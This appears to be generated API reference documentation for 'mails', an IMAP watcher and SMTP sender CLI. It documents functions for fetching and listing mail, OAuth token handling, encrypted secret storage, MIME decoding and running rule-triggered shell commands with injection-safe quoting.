    async fn ImapClient::connect(host : String, port : Int, use_tls : Bool, verify_tls : Bool, username : String, password : String) -> ImapClient

    Open a connection and log in with a password.

    ImapClient::connect_with

    async fn ImapClient::connect_with(host : String, port : Int, use_tls : Bool, verify_tls : Bool, username : String, credential : Credential) -> ImapClient

    Open a connection and authenticate with any credential.

    ImapClient::fetch_message

    async fn ImapClient::fetch_message(client : ImapClient, uid : String, max_body_bytes : Int) -> FetchedMessage?

    Fetch one message's header and (bounded) text body by UID.

    ImapClient::fetch_raw

    async fn ImapClient::fetch_raw(client : ImapClient, uid : String) -> Bytes?

    The raw message, headers included, for mails read --raw and for piping to another tool.

    ImapClient::has_capability

    fn ImapClient::has_capability(client : ImapClient, name : String) -> Bool

    ImapClient::highest_uid

    async fn ImapClient::highest_uid(client : ImapClient) -> Int

    The highest UID in the selected mailbox, or 0 when it is empty.

    Used to start watching after the mail that is already there when neither a saved cursor nor UIDNEXT is available. UID SEARCH UID 1:* answers with every UID, and servers that answer a n:* range with the newest UID even when it is below n make the last token unreliable, so take the maximum.

    ImapClient::idle

    async fn ImapClient::idle(client : ImapClient, timeout_ms : Int) -> Bool

    Try to enter IDLE and wait for a change. Falls back to an error the caller can translate into polling.

    ImapClient::list_envelopes

    async fn ImapClient::list_envelopes(client : ImapClient, limit : Int, unread_only : Bool) -> Array[Envelope]

    The messages of the selected mailbox, newest first.

    One UID SEARCH to learn the UIDs, then one header-only UID FETCH per batch of 50. Only Date, From and Subject are requested, so listing a large mailbox stays cheap.

    ImapClient::list_folders

    async fn ImapClient::list_folders(client : ImapClient) -> Array[Folder]

    LIST "" "*": every folder the server knows about, with modified UTF-7 names decoded so [Gmail]/&XfJT0ZAB- prints as [Gmail]/Sent Mail.

    ImapClient::search_uids

    async fn ImapClient::search_uids(client : ImapClient, from_uid : Int) -> Array[String]

    List the UIDs at or above from_uid, using UID SEARCH UID n:*.

    ImapClient::select_mailbox

    async fn ImapClient::select_mailbox(client : ImapClient, mailbox : String) -> MailboxStatus

    SELECT a mailbox and read its UID bookkeeping.

    ImapReply

    pub struct ImapReply {
    lines : Array[LogicalLine]
    status : String
    text : String
    }

    ImapStream

    type ImapStream

    LogLevel

    pub enum LogLevel {
    Quiet
    Warn
    Info
    Debug
    }

    LogicalLine

    pub struct LogicalLine {
    text : String
    prefixes : Array[String]
    literals : Array[Bytes]
    }

    MailMessage

    pub struct MailMessage {
    uid : String
    mailbox : String
    subject : String
    from : String
    to : String
    date : String
    message_id : String
    body : String
    raw_bytes : Int
    }

    MailOptions

    pub struct MailOptions {
    mailbox : String
    limit : Int
    unread_only : Bool
    folders : Bool
    json : Bool
    to : Array[String]
    cc : Array[String]
    bcc : Array[String]
    subject : String
    body : String?
    body_file : String?
    html : Bool
    attach : Array[String]
    full : Bool
    raw : Bool
    }

    Options the three new commands need, kept out of CliOptions so the watcher path stays untouched.

    MailboxStatus

    pub struct MailboxStatus {
    exists : Int
    uid_validity : Int
    uid_next : Int
    }

    MatchField

    pub enum MatchField {
    Subject
    Body
    From
    To
    }

    MatchField::as_string

    fn MatchField::as_string(self : MatchField) -> String

    MimeText

    pub struct MimeText {
    plain : String
    html : String
    }

    OAuthSettings

    pub struct OAuthSettings {
    provider : String
    client_id : String
    tenant : String
    scope : String
    device_endpoint : String
    token_endpoint : String
    token_file : String
    }

    Resolved OAuth endpoints and settings for one account.

    Rule

    pub struct Rule {
    name : String
    accounts : Array[String]
    mailboxes : Array[String]
    fields : Array[MatchField]
    keywords : Array[String]
    require_all : Bool
    ignore_case : Bool
    regex : Bool
    shell_command : String
    argv : Array[String]
    timeout_ms : Int
    workdir : String
    body_chars : Int
    }

    RuleMatch

    pub struct RuleMatch {
    rule : Rule
    keywords : Array[String]
    fields : Array[String]
    }

    Runtime

    pub struct Runtime {
    account : Account
    rules : Array[Rule]
    config_dir : String
    key : String
    once : Bool
    failed :
    Ref
    [Bool]
    }

    SmtpAuth

    pub enum SmtpAuth {
    SmtpAuthNone
    SmtpAuthPlain(String, String)
    SmtpAuthLogin(String, String)
    SmtpAuthXoauth2(String, String)
    }

    Which AUTH mechanism to use, given what the server offers.

    XOAUTH2 wins when an access token is available, PLAIN beats LOGIN because it is one round trip. Servers that advertise no AUTH line are treated as "plain password accepted on this port", which is what several relays behind a VPN do.

    SmtpClient

    pub struct SmtpClient {
    stream : SmtpStream
    host : String
    capabilities : Array[String]
    }

    SmtpClient::authenticate

    async fn SmtpClient::authenticate(client : SmtpClient, auth : SmtpAuth) -> Unit

    Authenticate. Errors never contain the password or the token.

    SmtpClient::close

    async fn SmtpClient::close(client : SmtpClient) -> Unit

    Say goodbye. Errors are ignored: the message is already delivered by the time this runs.

    SmtpClient::connect

    async fn SmtpClient::connect(host : String, port : Int, implicit_tls : Bool, starttls : Bool, verify_tls : Bool) -> SmtpClient

    Open a connection and say hello.

    implicit_tls wraps the socket straight away (port 465); otherwise the greeting arrives in the clear and starttls decides whether to upgrade before authenticating.

    SmtpClient::send

    async fn SmtpClient::send(client : SmtpClient, envelope : SmtpEnvelope, message : Bytes) -> Unit

    Deliver message to every recipient in envelope.

    The message must already be a complete RFC 5322 document (headers, blank line, body); this function fixes line endings, dot-stuffs and adds the terminator.

    SmtpEnvelope

    pub struct SmtpEnvelope {
    from : String
    to : Array[String]
    }

    Who the message is from and to, as SMTP sees it: Bcc recipients are here but not in the message headers.

    SmtpReply

    pub struct SmtpReply {
    code : Int
    lines : Array[String]
    }

    A server reply: the numeric status plus every line of text.

    SmtpStream

    pub enum SmtpStream {
    SmtpPlain(
    Tcp
    )
    SmtpSecure(
    Tls
    )
    }

    SMTP, just enough to deliver one message.

    mails was an IMAP watcher first, so the SMTP side is deliberately small: no queue, no retries beyond one connection, no pipelining. It speaks EHLO, upgrades with STARTTLS when the server offers it, authenticates with PLAIN, LOGIN or XOAUTH2, and hands the message over with MAIL FROM / RCPT TO / DATA.

    Two connection styles are supported:

    • implicit TLS, usually port 465 (smtp_tls = true)
    • plaintext greeting then STARTTLS, usually port 587 (smtp_starttls = true)

    Plaintext without TLS is allowed only when the account sets smtp_tls_verify = false and the port is loopback, because sending a password over a clear channel is worse than refusing to send.

    TokenSet

    pub struct TokenSet {
    access_token : String
    refresh_token : String
    expires_at_ms : Int64
    }

    An access token and the refresh token that replaces it.

    access_token_for

    async fn access_token_for(account : Account, config_dir : String, key : String) -> String raise MailsError

    Return a usable access token, refreshing it when it is missing or stale. The refresh token is re-saved when the provider rotates it.

    action_env

    fn action_env(context : ActionContext) -> Map[String, String]

    Environment variables exported to a rule command.

    base64_body

    fn base64_body(data : Bytes) -> String

    Base64 folded into 76-column lines, as MIME wants it.

    base64_decode

    fn base64_decode(text : String) -> Bytes raise MailsError

    base64_encode

    fn base64_encode(data : Bytes) -> String

    build_message

    fn build_message(mailbox : String, uid : String, raw_size : Int, header : Bytes, body : Bytes) -> MailMessage

    Build a message from the fetched header and body literals.

    bytes_concat

    fn bytes_concat(parts : ArrayView[Bytes]) -> Bytes

    bytes_to_string_lossy

    fn bytes_to_string_lossy(data : Bytes) -> String

    choose_smtp_auth

    fn choose_smtp_auth(capabilities : Array[String], username : String, password : String, access_token : String?) -> SmtpAuth

    collapse_whitespace

    fn collapse_whitespace(text : String) -> String

    Collapse runs of whitespace into single spaces and trim the result.

    config_file_name

    let config_file_name : String

    credential_for

    async fn credential_for(account : Account, config_dir : String, key : String) -> Credential raise MailsError

    Build the credential for an account: a resolved password, or a live OAuth2 access token refreshed on demand.

    cursor_path

    fn cursor_path(config_dir : String, account_name : String, mailbox : String) -> String

    Path of the cursor file for one account and mailbox.

    decode_charset

    fn decode_charset(data : Bytes, charset : String) -> String

    Decode bytes in the named charset.

    Chinese providers (QQ, 163, Tencent Exmail) still send gb2312/gbk bodies, so a single-byte or UTF-8-only decoder turns them into mojibake. Everything the WHATWG Encoding Standard knows about is supported here: GBK/GB18030, Big5, Shift_JIS, EUC-JP/KR, the ISO-8859 family and more. Undecodable bytes become U+FFFD, and unknown charsets fall back to a lossy UTF-8 read.

    decode_encoded_words

    fn decode_encoded_words(value : String) -> String

    Decode RFC 2047 encoded words (=?utf-8?B?...?=) in a header value.

    decode_modified_utf7

    fn decode_modified_utf7(name : String) -> String

    Decode an IMAP modified-UTF-7 mailbox name.

    default_config_path

    async fn default_config_path() -> String raise MailsError

    The config path used when --config is not passed.

    default_defaults

    fn default_defaults() -> Defaults

    default_key_env

    let default_key_env : String

    dot_stuff_bytes

    fn dot_stuff_bytes(message : Bytes) -> Bytes

    Dot-stuffing plus CRLF normalisation, the two things SMTP does to a body.

    A line that starts with . would end the message early, and a bare LF is not allowed on the wire, so both are fixed here rather than at every call site.

    draft_recipients

    fn draft_recipients(draft : Draft) -> Array[String]

    Everyone the message has to reach: To, Cc and Bcc. Bcc is kept out of the headers but still gets an envelope recipient.

    encode_header_text

    fn encode_header_text(text : String) -> String

    RFC 2047 encoded words for a header value with non-ASCII characters.

    Each word is limited to 75 characters, which leaves 45 bytes of payload after =?UTF-8?B? and ?=. A word never splits a character, so the decoder can put the value back together.

    envelope_table_header

    fn envelope_table_header(uid_width : Int, from_width : Int, subject_width : Int) -> String

    The header row of mails ls.

    envelope_table_row

    fn envelope_table_row(envelope : Envelope, uid_width : Int, from_width : Int, subject_width : Int) -> String

    One row of mails ls.

    error_message

    fn error_message(err : Error) -> String

    The user-facing message of an error, without the MailsError(...) wrapper.

    executable_dir

    async fn executable_dir() -> String raise MailsError

    Directory containing the running executable.

    fit_width

    fn fit_width(text : String, width : Int) -> String

    Shorten text to width characters for the table, with an ellipsis.

    forget_access_token

    fn forget_access_token(account_name : String) -> Unit

    format_duration

    fn format_duration(ms : Int) -> String

    Format milliseconds for log messages.

    generate_key_spec

    async fn generate_key_spec() -> String raise MailsError

    Generate a fresh 32-byte key in the b64: form used by .env.

    guess_mime_type

    fn guess_mime_type(name : String) -> String

    Guess a content type from the file name. Everything unknown is application/octet-stream, which every client can still save to disk.

    imap_quote

    fn imap_quote(text : String) -> String

    Escape a string for use inside an IMAP quoted string (RFC 3501).

    is_blank

    fn is_blank(s : String) -> Bool

    is_sealed

    fn is_sealed(text : String) -> Bool

    True when text looks like an enc:v1: envelope.

    key_uses_passphrase

    fn key_uses_passphrase(spec : String) -> Bool raise MailsError

    Unused by the runtime, but kept honest by a test: whether spec is a passphrase-derived key.

    load_config

    async fn load_config(path : String) -> Config raise MailsError

    Load and parse the configuration file.

    load_cursor

    async fn load_cursor(config_dir : String, account_name : String, mailbox : String) -> (Int, Int)

    Load the saved cursor as (uid_validity, last_uid).

    (0, 0) means "nothing usable on disk": still no cursor, an unreadable file, or a file from a mailbox with a different UID space.

    load_env_file

    async fn load_env_file(path : String) -> EnvFile raise MailsError

    Read a .env file. A missing file yields an empty environment.

    load_refresh_token

    async fn load_refresh_token(path : String, key : String) -> String? raise MailsError

    Read the refresh token previously stored by mails login.

    log_debug

    fn log_debug(msg : String) -> Unit

    log_error

    fn log_error(msg : String) -> Unit

    log_info

    fn log_info(msg : String) -> Unit

    log_level

    log_warn

    fn log_warn(msg : String) -> Unit

    mails_error

    fn mails_error(msg : String) -> MailsError

    main_cli

    async fn main_cli() -> Bool

    Parse arguments, run the command, and report whether it succeeded.

    make_message_id

    fn make_message_id(from : String, now : Int64, unique : String) -> String

    A Message-ID that is unique enough without a random source: the timestamp plus a caller-supplied token (the CLI uses bytes from /dev/urandom).

    match_rule

    fn match_rule(rule : Rule, message : MailMessage) -> RuleMatch?

    Test one rule against one message.

    match_rules

    fn match_rules(rules : Array[Rule], account : String, mailbox : String, message : MailMessage) -> Array[RuleMatch]

    Every rule that fires for message, in configuration order.

    message_body_text

    fn message_body_text(raw_body : Bytes) -> String

    Extract the readable text of a standalone MIME entity.

    message_body_text_with_headers

    fn message_body_text_with_headers(headers : Array[(String, String)], raw_body : Bytes) -> String

    Extract readable text from a body plus its already-parsed headers.

    IMAP returns the top-level headers (HEADER) and the body (TEXT) separately, and TEXT does not repeat the top-level Content-Type, so the caller has to pass the header list in for multipart mail to be recognised.

    The body keeps its line breaks, because rules post it to chat services where a single line is hard to read.

    needs_key

    fn needs_key(configured : String) -> Bool

    Whether a configured secret needs a key to be resolved.

    oauth_provider_defaults

    fn oauth_provider_defaults(provider : String, tenant : String) -> (String, String, String) raise MailsError

    Microsoft documents outlook.office.com for the IMAP scope; Google uses the single mail.google.com scope. Both are overridable from the config.

    oauth_settings_for

    fn oauth_settings_for(account : Account, config_dir : String) -> OAuthSettings raise MailsError

    Build the OAuthSettings for an account, filling provider defaults.

    open_secret

    fn open_secret(key_spec : String, envelope : String) -> String raise MailsError

    Open an enc:v1: envelope with the key from key_spec.

    pad_to

    fn pad_to(text : String, width : Int) -> String

    Pad text to width columns. Counts characters, not bytes, so a CJK subject lines up with an ASCII one.

    parse_config

    fn parse_config(path : String, source : String) -> Config raise MailsError

    Parse a TOML document, resolving nothing (paths are handled by the caller).

    parse_content_type

    fn parse_content_type(value : String) -> (String, Array[(String, String)])

    Parse Content-Type-style values into a lowercased type plus parameters.

    parse_duration_ms

    fn parse_duration_ms(text : String) -> Int?

    Parse a human duration such as 30s, 5m, 1h or 250ms into ms.

    parse_header_fetch

    fn parse_header_fetch(line : LogicalLine) -> Envelope?

    Parse a UID FETCH reply that carries only a header literal.

    The IMAP server returns one * n FETCH (...) line per message, with the flags and the header as a literal.

    parse_headers

    fn parse_headers(raw : String) -> Array[(String, String)]

    Split raw header bytes into unfolded (lowercase-name, value) pairs.

    parse_list_line

    fn parse_list_line(line : String) -> Folder?

    Parse one LIST line:

    * LIST (\HasNoChildren) "/" "INBOX" * LIST (\Noselect) "/" "[Gmail]/All Mail"

    parse_match_field

    fn parse_match_field(text : String) -> MatchField?

    poll_device_token

    async fn poll_device_token(settings : OAuthSettings, authorization : DeviceAuthorization, on_pending : () -> Unit) -> TokenSet raise MailsError

    Poll the token endpoint until the user approves the device code.

    on_pending is called after every poll so the caller can report progress without knowing the polling rules.

    raw_placeholder_advice

    fn raw_placeholder_advice(name : String) -> String

    raw_placeholder_advice("body") -> {{body_q}} and $MAILS_BODY, the two safe ways to use the same value.

    raw_placeholders

    fn raw_placeholders(template : String) -> Array[String]

    Raw message placeholders used by a template, for warning about sh -c injection. Returns an empty array for safe templates.

    refresh_access_token

    async fn refresh_access_token(settings : OAuthSettings, refresh_token : String) -> TokenSet raise MailsError

    Exchange a refresh token for a new access token.

    render_env_for_display

    fn render_env_for_display(env : EnvFile, reveal : Bool) -> String

    Render the contents of an env file for mails env --show style output.

    render_envelope_table

    fn render_envelope_table(envelopes : Array[Envelope]) -> String

    Render the whole table, newest first, which is the order readers expect.

    render_outgoing_message

    fn render_outgoing_message(draft : Draft, now : Int64, unique : String) -> String

    Render the message: headers, blank line, body.

    now and unique are parameters rather than reads of the clock and the random device so the result is testable and reproducible.

    render_template

    fn render_template(template : String, context : ActionContext) -> String

    Expand every {{name}} placeholder in template.

    request_device_code

    async fn request_device_code(settings : OAuthSettings) -> DeviceAuthorization raise MailsError

    Ask the provider for a device code and the URL the user has to visit.

    resolve_secret

    fn resolve_secret(key : String, configured : String) -> String raise MailsError

    Resolve a configured password: an enc: envelope is opened with key, anything else is returned unchanged (for accounts that use another auth mechanism or a password helper).

    rfc5322_date

    fn rfc5322_date(now : Int64) -> String

    Format a Unix timestamp the way a Date: header wants it.

    Always UTC (+0000). Formatting in the sender's local time would need the zone database, and a UTC date is what most mail tools print anyway.

    rule_applies

    fn rule_applies(rule : Rule, account : String, mailbox : String) -> Bool

    run_action

    async fn run_action(account : String, mailbox : String, message : MailMessage, hit : RuleMatch) -> ActionOutcome

    Execute one matched rule, logging what ran and how it ended.

    run_watch

    async fn run_watch(config : Config, accounts : Array[Account], key : String, once : Bool) -> Unit

    Start watching every selected account and mailbox, or sync once.

    sample_config

    fn sample_config() -> String

    A commented starter configuration written by mails init.

    save_cursor

    async fn save_cursor(config_dir : String, account_name : String, mailbox : String, uid_validity : Int, last_uid : Int) -> Unit

    Save the cursor atomically through a temp file plus rename, so a crash in the middle never leaves a half-written cursor behind.

    save_refresh_token

    async fn save_refresh_token(path : String, account : Account, refresh_token : String, key : String) -> Unit raise MailsError

    Persist the refresh token for account, sealed when a key is available.

    seal_secret

    async fn seal_secret(key_spec : String, plaintext : String) -> String raise MailsError

    Seal plaintext with the key from key_spec.

    selected_accounts

    fn selected_accounts(config : Config, name : String?) -> Array[Account] raise MailsError

    Accounts selected by --account, or all of them.

    set_env_var

    async fn set_env_var(path : String, name : String, value : String) -> Unit raise MailsError

    Set (or add) a variable in a .env file, preserving every other line.

    The file is created with mode 0600 and existing permissions are tightened, because the encryption key must never be group- or world-readable.

    set_log_level

    fn set_log_level(level : LogLevel) -> Unit

    shell_quote

    fn shell_quote(text : String) -> String

    Quote a string for safe interpolation into a POSIX shell command.

    short_date

    fn short_date(value : String) -> String

    2026-10-27 10:02 from an RFC 5322 Date: value, or the raw value when it cannot be understood.

    The terminal is narrow, so a compact local-looking stamp beats the full header. Only the dd Mon yyyy hh:mm shape Gmail, Outlook and friends emit is understood; anything else is passed through so nothing is lost.

    smtp_has_capability

    fn smtp_has_capability(capabilities : Array[String], name : String) -> Bool

    smtp_plain_response

    fn smtp_plain_response(username : String, password : String) -> String

    AUTH PLAIN payload: NUL-separated authorization-id, authentication-id and password, base64 encoded.

    split_addresses

    fn split_addresses(text : String) -> Array[String] raise

    Split a --to a@b,c@d value, or a string of the same shape.

    split_header_body

    fn split_header_body(raw : Bytes) -> (Array[(String, String)], Bytes)

    Split a raw MIME entity into parsed headers and a body string.

    string_to_bytes

    fn string_to_bytes(text : String) -> Bytes

    token_path

    fn token_path(account : Account, config_dir : String) -> String

    trim

    fn trim(s : StringView) -> String

    truncate_bytes

    fn truncate_bytes(text : String, max_bytes : Int) -> String

    Truncate text to at most max_bytes UTF-8 bytes without splitting a character.

    Environment variables need this: Linux rejects a single value above 128 KiB with execve: argument list too long, so a large mail body would stop the rule command from running at all.

    truncate_chars

    fn truncate_chars(text : String, max_chars : Int) -> String

    Truncate to at most max_chars characters, appending an ellipsis.

    update_account_password

    fn update_account_password(source : String, account : String, value : String) -> String raise MailsError

    Replace the password entry of one [accounts.<name>] table in the TOML source, leaving every other line untouched. Used by mails encrypt --write.

    validate_address

    fn validate_address(address : String) -> String raise

    Check an address and return its bare form.

    Name <addr> is accepted and reduced to addr, because that is what RCPT TO needs. A CR or LF would let a caller inject extra RCPT lines, so it is rejected outright.

    xoauth2_initial_response

    fn xoauth2_initial_response(username : String, access_token : String) -> String

    The SASL initial response for XOAUTH2 (Gmail and Microsoft both accept it): user=<account>\x01auth=Bearer <token>\x01\x01, base64 encoded.